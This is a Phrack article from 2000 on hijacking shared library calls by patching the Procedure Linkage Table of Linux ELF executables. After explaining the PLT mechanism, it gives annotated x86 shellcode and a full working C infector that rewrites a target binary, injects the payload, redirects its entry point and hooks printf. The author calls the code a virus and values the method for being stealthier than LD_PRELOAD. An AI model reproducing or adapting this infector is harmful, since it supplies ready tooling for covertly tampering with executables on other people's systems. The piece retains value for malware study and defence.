- P H R A C K M A G A Z I N E -
-
- Volume 0xa Issue 0x38
- 05.01.2000
- 0x07[0x10]
-
- |----------- SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION -----------|
- |-----------------------------------------------------------------------------|
- |--------------------- Silvio Cesare <silvio@big.net.au> ---------------------|
-
-
-
- ----| INTRODUCTION
-
- This article describes a method of shared library call redirection using ELF
- infection that redirects the Procedure Linkage Table (PLT) of an executable
- allowing redirection to be resident outside of the infected executable. This
- has the advantage over the LD_PRELOAD redirection technique in that no
- environment variables are modified, thus remaining more hidden than previous
- techniques. An implementation is provided for x86/Linux. For those interested
- please visit the following URLs:
-
- http://virus.beergrave.net (The Unix Virus Mailing List)
- http://www.big.net.au/~silvio (My page)
-
-
- ----| THE PROCEDURE LINKAGE TABLE (PLT)
-
- From the ELF specifications... (not necessary to read but gives more detail
- than the follow-up text)
-
- " Procedure Linkage Table
- Much as the global offset table redirects position-independent address
- calculations to absolute locations, the procedure linkage table
- redirects position-independent function calls to absolute locations.
- The link editor cannot resolve execution transfers (such as function
- calls) from one executable or shared object to another. Consequently,
- the link editor arranges to have the program transfer control to
- entries in the procedure linkage table. On the SYSTEM V architecture,
- procedure linkage tables reside in shared text, but they use addresses
- in the private global offset table. The dynamic linker determines the
- destinations' absolute addresses and modifies the global offset
- table's memory image accordingly. The dynamic linker thus can redirect
- the entries without compromising the position-independence and
- sharability of the program's text. Executable files and shared object
- files have separate procedure linkage tables.
- + Figure 2-12: Absolute Procedure Linkage Table {*}
- .PLT0:pushl got_plus_4
- jmp *got_plus_8
- nop; nop
- nop; nop
- .PLT1:jmp *name1_in_GOT
- pushl $offset
- jmp .PLT0@PC
- .PLT2:jmp *name2_in_GOT
- pushl $offset
- jmp .PLT0@PC
- ...
- + Figure 2-13: Position-Independent Procedure Linkage Table
- .PLT0:pushl 4(%ebx)
- jmp *8(%ebx)
- nop; nop
- nop; nop
- .PLT1:jmp *name1@GOT(%ebx)
- pushl $offset
- jmp .PLT0@PC
- .PLT2:jmp *name2@GOT(%ebx)
- pushl $offset
- jmp .PLT0@PC
- ...
- NOTE: As the figures show, the procedure linkage table instructions use
- different operand addressing modes for absolute code and for position-
- independent code. Nonetheless, their interfaces to the dynamic linker are
- the same.
- Following the steps below, the dynamic linker and the program ``cooperate''
- to resolve symbolic references through the procedure linkage table and the
- global offset table.
- 1. When first creating the memory image of the program, the dynamic
- linker sets the second and the third entries in the global offset
- table to special values. Steps below explain more about these
- values.
- 2. If the procedure linkage table is position-independent, the address
- of the global offset table must reside in %ebx. Each shared object
- file in the process image has its own procedure linkage table, and
- control transfers to a procedure linkage table entry only from
- within the same object file. Consequently, the calling function is
- responsible for setting the global offset table base register before
- calling the procedure linkage table entry.
- 3. For illustration, assume the program calls name1, which transfers
- control to the label .PLT1.
- 4. The first instruction jumps to the address in the global offset
- table entry for name1. Initially, the global offset table holds the
- address of the following pushl instruction, not the real address of
- name1.
- 5. Consequently, the program pushes a relocation offset (offset) on
- the stack. The relocation offset is a 32-bit, non-negative byte
- offset into the relocation table. The designated relocation entry
- will have type R_386_JMP_SLOT, and its offset will specify the
- global offset table entry used in the previous jmp instruction. The
- relocation entry also contains a symbol table index, thus telling
- the dynamic linker what symbol is being referenced, name1 in this
- case.
- 6. After pushing the relocation offset, the program then jumps to
- .PLT0, the first entry in the procedure linkage table. The pushl
- instruction places the value of the second global offset table
- entry (got_plus_4 or 4(%ebx)) on the stack, thus giving the dynamic
- linker one word of identifying information. The program then jumps
- to the address in the third global offset table entry (got_plus_8
- or 8(%ebx)), which transfers control to the dynamic linker.
- 7. When the dynamic linker receives control, it unwinds the stack,
- looks at the designated relocation entry, finds the symbol's value,
- stores the ``real'' address for name1 in its global offset table
- entry, and transfers control to the desired destination.
- 8. Subsequent executions of the procedure linkage table entry will
- transfer directly to name1, without calling the dynamic linker a
- second time. That is, the jmp instruction at .PLT1 will transfer to
- name1, instead of ``falling through'' to the pushl instruction.
- The LD_BIND_NOW environment variable can change dynamic linking
- behavior. If its value is non-null, the dynamic linker evaluates
- procedure linkage table entries before transferring control to the
- program. That is, the dynamic linker processes relocation entries of
- type R_386_JMP_SLOT during process initialization. Otherwise, the
- dynamic linker evaluates procedure linkage table entries lazily,
- delaying symbol resolution and relocation until the first execution of
- a table entry.
- NOTE: Lazy binding generally improves overall application performance,
- because unused symbols do not incur the dynamic linking overhead.
- Nevertheless, two situations make lazy binding undesirable for some
- applications. First, the initial reference to a shared object function
- takes longer than subsequent calls, because the dynamic linker
- intercepts the call to resolve the symbol. Some applications cannot
- tolerate this unpredictability. Second, if an error occurs and the
- dynamic linker cannot resolve the symbol, the dynamic linker will
- terminate the program. Under lazy binding, this might occur at
- arbitrary times. Once again, some applications cannot tolerate this
- unpredictability. By turning off lazy binding, the dynamic linker
- forces the failure to occur during process initialization, before the
- application receives control.
- "
-
- To explain in more detail...
-
- Shared library calls are treated special in executable objects because they
- cannot be linked to the executable at compile time. This is due to the fact
- that shared libraries are not available to the executable until runtime.
- The PLT was designed to handle such cases like these. The PLT holds the code
- responsible for calling the dynamic linker to locate these desired routines.
-
- Instead of calling the real shared library routine in the executable, the
- executable calls an entry in the PLT. It is then up to the PLT to resolve the
- symbol it represents and do the right thing.
-
- From the ELF specifications...
-
- " .PLT1:jmp *name1_in_GOT
- pushl $offset
- jmp .PLT0@PC
- "
-
- This is the important info. This is the routine called instead of the library
- call. name1_in_GOT originally starts off pointing to the following pushl
- instruction. The offset represents a relocation (see the ELF specifications)
- offset which has a reference to the symbol the library call represents. This
- is used for the final jmp which jumps to the dynamic linker. The dynamic
- linker then changes name1_in_GOT to point directly to the routine thus avoiding
- dynamic linking a second time.
-
- This summarizes the importance of the PLT in library lookups. It can be noted
- that we can change name_in_GOT to point to our own code, thus replacing
- library calls. If we save the state of the GOT before replacing, we can call
- the old library routine and thus redirect any library call.
-
-
- ----| ELF INFECTION
-
- To inject a redirected library call into an executable requires new code to
- be added to an executable. The actual procedure for ELF infection will not
- be described here as it has been covered very well in previous articles
- (http://www.big.net.au/~silvio - Unix Viruses/Unix ELF Parasites and Virus).
- For completeness Data Infection is used for injection, and it is slightly
- buggy not being strip safe.
-
-
- ----| PLT REDIRECTION
-
- The algorithm at the entry point code is as follows...
-
- * mark the text segment writeable
- * save the PLT(GOT) entry
- * replace the PLT(GOT) entry with the address of the new lib call
-
- The algorithm in the new library call is as follows...
-
- * do the payload of the new lib call
- * restore the original PLT(GOT) entry
- * call the lib call
- * save the PLT(GOT) entry again (if its changed)
- * replace the PLT(GOT) entry with the address of the new lib call
-
- To explain more how PLT redirection is done, the simplest method is to describe
- the sample code supplied. This code is injected into an executable and
- becomes the new entry point of the program. The library call that is
- redirected is printf, the new code prints a message before the printf
- supplied string.
-
- --
- ok, save the registers and so forth...
-
- "\x60" /* pusha */
-
- mark the text segment as rwx. We do this so we can modify the PLT which is in
- the text segment and is normally not writeable.
-
- "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
- "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
- "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
- "\xba\x07\x00\x00\x00" /* movl $7,%edx */
- "\xcd\x80" /* int $0x80 */
-
- we save the old library call's PLT(GOT) reference and replace it with the
- address of the new library call which immediately follows the entry point code.
- "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
- "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
- "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
- "\x08\x00\x00\x00\x00"
- restore the registers and so forth...
- "\x61" /* popa */
- jump back to the executables original entry point.
- "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
- "\xff\xe5" /* jmp *%ebp */
- the new library call (printf).
- /* newcall: */
- get the address of the string to write .
- "\xeb\x38" /* jmp msg_jmp */
- /* msg_call */
- "\x59" /* popl %ecx */
- and write that string using the Linux system call
- "\xb8\x04\x00\x00\x00" /* movl $4,%eax */
- "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
- "\xba\x0e\x00\x00\x00" /* movl $14,%edx */
- "\xcd\x80" /* int $0x80 */
- restore the old library call into the PLT(GOT) so we can call it
- "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
- "\xa3\x00\x00\x00\x00" /* movl %eax,plt */
- get the original printf argument
- "\xff\x75\xfc" /* pushl -4(%ebp) */
- call the original library call
- "\xff\xd0" /* call *%eax */
- save the original library call from the PLT(GOT). Remember this might change
- after a call to the library, so we save each time. This actually only changes
- after the first call, but we don't bother too much.
-
- "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
- "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
-
- make the PLT(GOT) point back to the new library call
-
- "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
- "\x08\x00\x00\x00\x00"
-
- clean up the arguments
-
- "\x58" /* popl %eax */
-
- restore the registers and so forth...
-
- "\x61" /* popa */
-
- and return from the function
-
- "\xc3" /* ret */
-
- get the address of the string to write .
-
- /* msg_jmp */
- "\xe8\xc4\xff\xff\xff" /* call msg_call */
-
- the string
-
- "INFECTED Host "
-
-
- ----| FUTURE DIRECTIONS
-
- It is possible to infect a shared library directly, and this is sometimes more
- desirable because the redirection stays resident for all executables. Also
- possible, is an even more stealth version of the PLT redirection described
- by modifying the process image directly thus the host executable stays
- unmodified. This however has the disadvantage that the redirection stays
- active only for the life of a single process.
-
-
- ----| CONCLUSION
-
- This article has described a method of redirecting shared library calls in
- an executable by directly modifying the PLT of the executable in question
- using ELF infection techniques. It is more stealthy than previous techniques
- using LD_PRELOAD and has large possibilities.
-
-
- ----| CODE
-
- <++> p56/PLT-INFECTION/PLT-infector.c !fda3c047
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <string.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <elf.h>
-
- #define PAGE_SIZE 4096
-
- static char v[] =
- "\x60" /* pusha */
-
- "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
- "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
- "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
- "\xba\x07\x00\x00\x00" /* movl $7,%edx */
- "\xcd\x80" /* int $0x80 */
-
- "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
- "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
- "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
- "\x08\x00\x00\x00\x00"
-
- "\x61" /* popa */
-
- "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
- "\xff\xe5" /* jmp *%ebp */
-
- /* newcall: */
-
- "\xeb\x37" /* jmp msg_jmp */
- /* msg_call */
- "\x59" /* popl %ecx */
- "\xb8\x04\x00\x00\x00" /* movl $4,%eax */
- "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
- "\xba\x0e\x00\x00\x00" /* movl $14,%edx */
- "\xcd\x80" /* int $0x80 */
-
- "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
- "\xa3\x00\x00\x00\x00" /* movl %eax,plt */
- "\xff\x75\xfc" /* pushl -4(%ebp) */
- "\xff\xd0" /* call *%eax */
- "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
- "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
- "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
- "\x08\x00\x00\x00\x00"
-
- "\x58" /* popl %eax */
-
- "\xc3" /* ret */
-
- /* msg_jmp */
- "\xe8\xc4\xff\xff\xff" /* call msg_call */
-
- "INFECTED Host "
- ;
-
- char *get_virus(void)
- {
- return v;
- }
-
- int init_virus(
- int plt,
- int offset,
- int text_start, int data_start,
- int data_memsz,
- int entry
- )
- {
- int code_start = data_start + data_memsz;
- int oldcall = code_start + 72;
- int newcall = code_start + 51;
-
- *(int *)&v[7] = text_start;
- *(int *)&v[24] = plt;
- *(int *)&v[29] = oldcall;
- *(int *)&v[35] = plt;
- *(int *)&v[39] = newcall;
- *(int *)&v[45] = entry;
- *(int *)&v[77] = plt;
- *(int *)&v[87] = plt;
- *(int *)&v[92] = oldcall;
- *(int *)&v[98] = plt;
- *(int *)&v[102] = newcall;
- return 0;
- }
-
- int copy_partial(int fd, int od, unsigned int len)
- {
- char idata[PAGE_SIZE];
- unsigned int n = 0;
- int r;
-
- while (n + PAGE_SIZE < len) {
- if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
- perror("read");
- return -1;
- }
-
- if (write(od, idata, PAGE_SIZE) < 0) {
- perror("write");
- return -1;
- }
-
- n += PAGE_SIZE;
- }
-
- r = read(fd, idata, len - n);
- if (r < 0) {
- perror("read");
- return -1;
- }
-
- if (write(od, idata, r) < 0) {
- perror("write");
- return -1;
- }
-
- return 0;
- }
-
- void do_elf_checks(Elf32_Ehdr *ehdr)
- {
- if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
- fprintf(stderr, "File not ELF\n");
- exit(1);
- }
-
- if (ehdr->e_type != ET_EXEC) {
- fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n");
- exit(1);
- }
-
- if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
- fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
- exit(1);
- }
-
- if (ehdr->e_version != EV_CURRENT) {
- fprintf(stderr, "ELF version not current\n");
- exit(1);
- }
- }
-
- int do_dyn_symtab(
- int fd,
- Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
- const char *sh_function
- )
- {
- Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
- char *string;
- Elf32_Sym *sym, *symp;
- int i;
-
- string = (char *)malloc(strtabhdr->sh_size);
- if (string == NULL) {
- perror("malloc");
- exit(1);
- }
-
- if (lseek(
- fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
- ) {
- perror("lseek");
- exit(1);
- }
-
- if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
- perror("read");
- exit(1);
- }
-
- sym = (Elf32_Sym *)malloc(shdrp->sh_size);
- if (sym == NULL) {
- perror("malloc");
- exit(1);
- }
-
- if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
- perror("lseek");
- exit(1);
- }
-
- if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
- perror("read");
- exit(1);
- }
-
- symp = sym;
-
- for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
- if (!strcmp(&string[symp->st_name], sh_function)) {
- free(string);
- return symp - sym;
- }
-
- ++symp;
- }
-
- free(string);
- return -1;
- }
-
- int get_sym_number(
- int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
- )
- {
- Elf32_Shdr *shdrp = shdr;
- int i;
-
- for (i = 0; i < ehdr->e_shnum; i++) {
- if (shdrp->sh_type == SHT_DYNSYM) {
- return do_dyn_symtab(fd, shdr, shdrp, sh_function);
- }
-
- ++shdrp;
- }
- }
-
- void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
- {
- Elf32_Rel *rel, *relp;
- int i;
-
- rel = (Elf32_Rel *)malloc(shdr->sh_size);
- if (rel == NULL) {
- perror("malloc");
- exit(1);
- }
-
- if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
- perror("lseek");
- exit(1);
- }
-
- if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
- perror("read");
- exit(1);
- }
-
- relp = rel;
-
- for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
- if (ELF32_R_SYM(relp->r_info) == sym) {
- *plt = relp->r_offset;
- *offset = relp - rel;
- printf("offset %i\n", *offset);
- return;
- }
- ++relp;
- }
-
- *plt = -1;
- *offset = -1;
- }
-
- void find_rel(
- int *plt,
- int *offset,
- int fd,
- const char *string,
- Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
- const char *sh_function
- )
- {
- Elf32_Shdr *shdrp = shdr;
- int sym;
- int i;
-
- sym = get_sym_number(fd, ehdr, shdr, sh_function);
- if (sym < 0) {
- *plt = -1;
- *offset = -1;
- return;
- }
-
- for (i = 0; i < ehdr->e_shnum; i++) {
- if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
- do_rel(plt, offset, fd, shdrp, sym);
- return;
- }
-
- ++shdrp;
- }
- }
-
- void infect_elf(
- char *host,
- char *(*get_virus)(void),
- int (*init_virus)(int, int, int, int, int, int),
- int len,
- const char *sh_function
- )
-
- {
- Elf32_Ehdr ehdr;
- Elf32_Shdr *shdr, *strtabhdr;
- Elf32_Phdr *phdr;
- char *pdata, *sdata;
- int move = 0;
- int od, fd;
- int evaddr, text_start = -1, plt;
- int sym_offset;
- int bss_len, addlen;
- int offset, pos, oshoff;
- int plen, slen;
- int i;
- char null = 0;
- struct stat stat;
- char *string;
- char tempname[8] = "vXXXXXX";
-
- fd = open(host, O_RDONLY);
- if (fd < 0) {
- perror("open");
- exit(1);
- }
-
- /* read the ehdr */
-
- if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
- perror("read");
- exit(1);
- }
-
- do_elf_checks(&ehdr);
-
- /* modify the virus so that it knows the correct reentry point */
-
- printf("host entry point: %x\n", ehdr.e_entry);
-
- /* allocate memory for phdr tables */
-
- pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
- if (pdata == NULL) {
- perror("malloc");
- exit(1);
- }
-
- /* read the phdr's */
- if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
- perror("lseek");
- exit(1);
- }
- if (read(fd, pdata, plen) != plen) {
- perror("read");
- exit(1);
- }
- phdr = (Elf32_Phdr *)pdata;
- /* allocated memory if required to accomodate the shdr tables */
- sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
- if (sdata == NULL) {
- perror("malloc");
- exit(1);
- }
- /* read the shdr's */
-
- if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
- perror("lseek");
- exit(1);
- }
-
- if (read(fd, sdata, slen) != slen) {
- perror("read");
- exit(1);
- }
-
- strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];
-
- string = (char *)malloc(strtabhdr->sh_size);
- if (string == NULL) {
- perror("malloc");
- exit(1);
- }
-
- if (lseek(
- fd, strtabhdr->sh_offset, SEEK_SET
- ) != strtabhdr->sh_offset) {
- perror("lseek");
- exit(1);
- }
-
- if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
- perror("read");
- exit(1);
- }
-
- find_rel(
- &plt, &sym_offset,
- fd,
- string,
- &ehdr,
- (Elf32_Shdr *)sdata,
- sh_function
- );
- if (plt < 0) {
- printf("No dynamic function: %s\n", sh_function);
- exit(1);
- }
-
- for (i = 0; i < ehdr.e_phnum; i++) {
- if (phdr->p_type == PT_LOAD) {
- if (phdr->p_offset == 0) {
- text_start = phdr->p_vaddr;
- } else {
- if (text_start < 0) {
- fprintf(stderr, "No text segment??\n");
- exit(1);
- }
-
- /* is this the data segment ? */
- #ifdef DEBUG
- printf("Found PT_LOAD segment...\n");
- printf(
- "p_vaddr: 0x%x\n"
- "p_offset: %i\n"
- "p_filesz: %i\n"
- "p_memsz: %i\n"
- "\n",
- phdr->p_vaddr,
- phdr->p_offset,
- phdr->p_filesz,
- phdr->p_memsz
- );
- #endif
- offset = phdr->p_offset + phdr->p_filesz;
- bss_len = phdr->p_memsz - phdr->p_filesz;
-
- if (init_virus != NULL)
- init_virus(
- plt, sym_offset,
- text_start, phdr->p_vaddr,
- phdr->p_memsz,
- ehdr.e_entry
- );
-
- ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz;
-
- break;
- }
- }
-
- ++phdr;
- }
-
- /* update the shdr's to reflect the insertion of the virus */
- addlen = len + bss_len;
- shdr = (Elf32_Shdr *)sdata;
- for (i = 0; i < ehdr.e_shnum; i++) {
- if (shdr->sh_offset >= offset) {
- shdr->sh_offset += addlen;
- }
- ++shdr;
- }
- /*
- update the phdr's to reflect the extention of the data segment (to
- allow virus insertion)
- */
-
- phdr = (Elf32_Phdr *)pdata;
-
- for (i = 0; i < ehdr.e_phnum; i++) {
- if (phdr->p_type != PT_DYNAMIC) {
- if (move) {
- phdr->p_offset += addlen;
- } else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
- /* is this the data segment ? */
-
- phdr->p_filesz += addlen;
- phdr->p_memsz += addlen;
-
- #ifdef DEBUG
- printf("phdr->filesz: %i\n", phdr->p_filesz);
- printf("phdr->memsz: %i\n", phdr->p_memsz);
- #endif
- move = 1;
- }
- }
-
- ++phdr;
- }
-
- /* update ehdr to reflect new offsets */
-
- if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
- if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;
-
- if (fstat(fd, &stat) < 0) {
- perror("fstat");
- exit(1);
- }
-
- /* write the new virus */
-
- if (mktemp(tempname) == NULL) {
- perror("mktemp");
- exit(1);
- }
-
- od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
- if (od < 0) {
- perror("open");
- exit(1);
- }
-
- if (lseek(fd, 0, SEEK_SET) < 0) {
- perror("lseek");
- goto cleanup;
- }
-
- if (write(od, &ehdr, sizeof(ehdr)) < 0) {
- perror("write");
- goto cleanup;
- }
-
- if (write(od, pdata, plen) < 0) {
- perror("write");
- goto cleanup;
- }
- free(pdata);
-
- if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
- perror("lseek");
- goto cleanup;
- }
-
- if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;
-
- for (i = 0; i < bss_len; i++) write(od, &null, 1);
-
- if (write(od, get_virus(), len) != len) {
- perror("write");
- goto cleanup;
- }
-
- if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;
-
- if (write(od, sdata, slen) < 0) {
- perror("write");
- goto cleanup;
- }
- free(sdata);
-
- if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
- perror("lseek");
- goto cleanup;
- }
-
- if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;
-
- if (rename(tempname, host) < 0) {
- perror("rename");
- exit(1);
- }
-
- if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
- perror("chown");
- exit(1);
- }
-
-
- free(string);
-
- return;
-
- cleanup:
- unlink(tempname);
- exit(1);
- }
-
- int main(int argc, char *argv[])
- {
- if (argc != 2) {
- fprintf(stderr, "usage: infect-data-segment filename\n");
- exit(1);
- }
-
- infect_elf(
- argv[1],
- get_virus, init_virus,
- sizeof(v),
- "printf"
- );
-
- exit(0);
- }
- <-->
-
-
- |EOF|-------------------------------------------------------------------------|